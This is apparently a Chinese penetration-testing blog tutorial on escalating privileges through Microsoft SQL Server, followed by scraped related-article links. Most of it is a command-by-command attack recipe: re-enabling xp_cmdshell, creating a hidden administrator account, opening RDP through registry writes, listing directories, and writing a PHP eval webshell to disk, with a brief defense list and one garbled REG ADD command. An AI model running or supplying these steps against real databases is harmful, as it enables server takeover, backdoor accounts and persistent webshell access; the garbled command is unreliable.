前言:渗透测试中提权是较为重要的环节,若以低权限身份进行后渗透,测试出的问题相对于高权限的质量会低很多,从一个普通用户,通过手段让自己变为管理员,也可利用操作系统或者应用程序中的错误,设计缺陷或者配置错误来获取最高权限;

提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局。

Windows:User >> System

Linux:User >> Root

提权方式

1、系统漏洞提权(Linux、windows)

2、数据库提权

3、系统配置错误提权

4、权限继承类提权

5、第三方软件提权

6、websever漏洞提权

系统库

存储过程

一、介绍

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL(SQL语言版本之一,只能在SQLserver使用)语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

二、分类

系统存储过程、扩展存储过程、用户自定义的存储过程。

  1. 系统存储过程主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
  2. 扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似;
  3. 用户定义的存储过程是SQLServer的使用者编写的存储过程;

三、执行

存储过程为数据库提供了强大的功能,但在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如:创建数据库用户、枚举文件目录、执行任意系统命令等。正因如此,SQLserver2005、2008等之后的版本分别对存储过程做了权限控制,以防滥用。

以下提权方式多为利用存储过程进行提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句,若返回结果为1,则说明已开启。

select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate';

xp_cmdshell扩展存储过程提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,直接用SQL语句实现cmd操作,危害非常大。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure(显示或更改当前服务器的全局配置设置)将其开启。

SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。

前提条件:

1、已获取到 sqlsever sysadmin权限用户的账号和密码;

2、SQL sever服务未降权;

3、SQL sever可以外连;

执行系统命令添加管理员账号提权

1、连接SQL sever数据库,检查xp_cmdshell是否开启

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

# xtype为对象类型,xtype='x'表示xp_cmdshell的对象类型为扩展存储过程



• 如果xp_cmdshell被删除,可以使用以下命令重新加载。

dbcc addextendedproc("xp_cmdshell","xplog70.dll");

• 如果连xplog70.dll文件都被被删除,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

2.启用xp_cmdshell扩展存储过程

exec sp_configure 'show advanced options',1;

# 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。

reconfigure;

/# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。

exec sp_configure 'xp_cmdshell',1;

reconfigure;



3.查看权限

通过xp_cmdshell执行系统命令whoami,查看当前权限。

exec xp_cmdshell "whoami";



4.提权

exec xp_cmdshell "net user dudu dudu/add"

exec xp_cmdshell "net localgroup administrators dudu /add"

exec xp_cmdshell "net user dudu"

5.查看3389状态

exec master.dbo.xp_cmdshell 'netstat -ano';



这块儿可能会发现3389是没开的;

  1. 若目标主机未开启3389端口,可以使用以下命令开启。

    /# 使用写入注册表方式开启

    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;



    exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"

    exec xp_cmdshell 'netstat -ano';

这里有趣的是执行完,你还是看不见3389端口,真有趣;



管理员把3389改为3300了

7、提权恢复

• 关闭3389端口

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

• 关闭xp_cmdshell扩展存储过程

exec sp_configure 'xp_cmdshell',0;

reconfigure;

exec sp_configure 'show advanced options',0;

reconfigure;

写入文件提权

也可以用echo命令写入webshell到web目录,再使用菜刀或者蚁剑等工具连接shell这种方式进行提权。此方法中写入webshell不难,但获取绝对路径需要费些事儿。

其中一种办法可以使用cmd命令进行搜索文件、xp_dirtree、xp_subdirs等方式获取绝对路径。

execute xp_dirtree 'c:' # 列出所有c:\文件、目录、子目录

execute xp_dirtree 'c:',1 # 只列c:\目录

execute xp_dirtree 'c:',1,1 # 列c:\目录、文件

exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:\2.php" # 写木马

三、防御

在确定不需要的情况下,删除:xp_cmdshell、xp_dirtree、xp_regread、xp_regdeletekey、xp_regdeletevalue、xp_regwrite、sp_oacreate、sp_oadestroy、sp_oagetErrorInfo、sp_oagetProperty、sp_oamethod、sp_oasetProperty、sp_oastop这些存储过程,移走相关的动态连接库文件,在需要的时候复制到原来的位置即可。

应用程序和网站在与后台的Microsoft SQLServer数据库连接时不要用SA等高权限的用户连接。

给SA等高权限的用户设置强密码。

sp_oacreate(无回显)

如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。

沙盒提权

• 当执行命令方法无法使用时,可以使用沙盒进行提权。沙盒模式(SandBoxMode)是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

• OLE DB

OLE DB Driver for SQL Server 是用于访问数据的底层 COM API,是应用程序链接到SQL Server的的驱动程序。

• 其核心其实是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

SQL Sever提权的更多相关文章

  1. [转载]SQL Server提权系列

    本文原文地址:https://www.cnblogs.com/wintrysec/p/10875232.html 一.利用xp_cmdshell提权 xp_cmdshell默认是关闭的,可以通过下面的 ...

  2. MSSQL 漏洞利用与提权

    1.SA口令的获取 webshell或源代码的获取 源代码泄露 嗅探(用CAIN等工具嗅探1433数据库端口) 口令暴力破解 2.常见SQL server 提权命令 查看数据库的版本(select @ ...

  3. SQLServer的XP_CmdShell提权

    当我们拿到了某个网站SQLServer数据库的SA权限用户密码的话,我们就可以使用XP_CmdShell提权了. 开启xp_cmdshell exec sp_configure 'show advan ...

  4. 【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)

    4.数据库安全基础 4.1.MSSQL 数据库角色权限 sysadmin:执行SQL Server中的任何动作 db_owner:可以执行数据库中技术所有动作的用户 public:数据库的每个合法用户 ...

  5. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

  6. 提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享

    先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...

  7. Oracle 10g提权测试

    一直想摸索一下orcl提权的方式,今天测试了一下10g,可以成功提权. C:\wmpub>sqlplus scott/tiger@orcl SQL*Plus: Release 10.2.0.1. ...

  8. udf提权方法和出现问题汇总

    一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数( ...

  9. WINDOWS渗透与提权总结(2)

    vbs 下载者: 01 1: 02   03 echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cft ...

随机推荐

  1. 看完这篇包你进大厂,实战即时聊天,一文说明白:聊天服务器+聊天客户端+Web管理控制台。

    一.前言 说实话,写这个玩意儿是我上周刚刚产生的想法,本想写完后把代码挂上来赚点积分也不错.写完后发现这东西值得写一篇文章,授人予鱼不如授人以渔嘛(这句话是这么说的吧),顺便赚点应届学生MM的膜拜那就 ...

  2. 记一次 .NET 某HIS系统后端服务 内存泄漏分析

    一:背景 1. 讲故事 前天那位 his 老哥又来找我了,上次因为CPU爆高的问题我给解决了,看样子对我挺信任的,这次另一个程序又遇到内存泄漏,希望我帮忙诊断下. 其实这位老哥技术还是很不错的,他既然 ...

  3. 使用小记:Zookeeper中动态改变节点的功能

    Zookeeper 3.5+提供了reconfig功能实现动态配置节点,官方的说明是,"你再也不需要进行全部节点重启"就可以应用所有的修改: http://zookeeper.ap ...

  4. Word·去掉复制粘贴自动添加的空格

    阅文时长 | 0.05分钟 字数统计 | 145.6字符 主要内容 | 1.引言&背景 2.声明与参考资料 『Word·去掉复制粘贴自动添加的空格』 编写人 | SCscHero 编写时间 | ...

  5. Jekyll+GitHub Pages部署自己的静态Blog

    混了这么久,一直想拥有自己的博客,通过jekyll和GitHub Pages捣腾出了自己的博客(https://www.ichochy.com) 一.安装jekyll 首先有安装Ruby的开发环境 运 ...

  6. HTML的表格元素

    一.HTML的表格元素 1.table元素 <table> 标签定义 HTML 表格.简单的 HTML 表格由 table 元素以及一个或多个 tr.th 或 td 元素组成.tr 元素定 ...

  7. https://www.jqhtml.com/30047.html strace + 命令: 这条命令十分强大,可以定位你程序到底是哪个地方出了问题

    https://www.jqhtml.com/30047.html 我的Linux手册 服务器 浏览数:72 2019-1-30 原文链接 基础安装 # CentOS sudo yum install ...

  8. Ubuntu 20.04 版本安装

    Ubuntu 20.04 版本安装 安装步骤 首先创建好Ubuntu 20.04虚拟机 等待系统检查完整性 选择语言 选择不更新,回车确定 键盘语言默认即可 网卡IP配置 设置代理服务器 设置源 自定 ...

  9. 051.Python的Django框架简单使用

    一 HTTP相关概念 http协议包含由浏览器发送数据到服务器需要遵循的请求协议与服务器发送数据到浏览器需要遵循的响应协议.用于HTTP协议交互的信息被为HTTP报文.请求端(客户端)的HTTP报文 ...

  10. JFlash ARM对stm32程序的读取和烧录-(转载)

    本篇文章主要是记录一下JFlash ARM 的相关使用和操作步骤,读取程序说不上破解,这只是在没有任何加密情况下对Flash的读写罢了!在我们装了JLINK驱动后再根目录下找到JFlash ARM , ...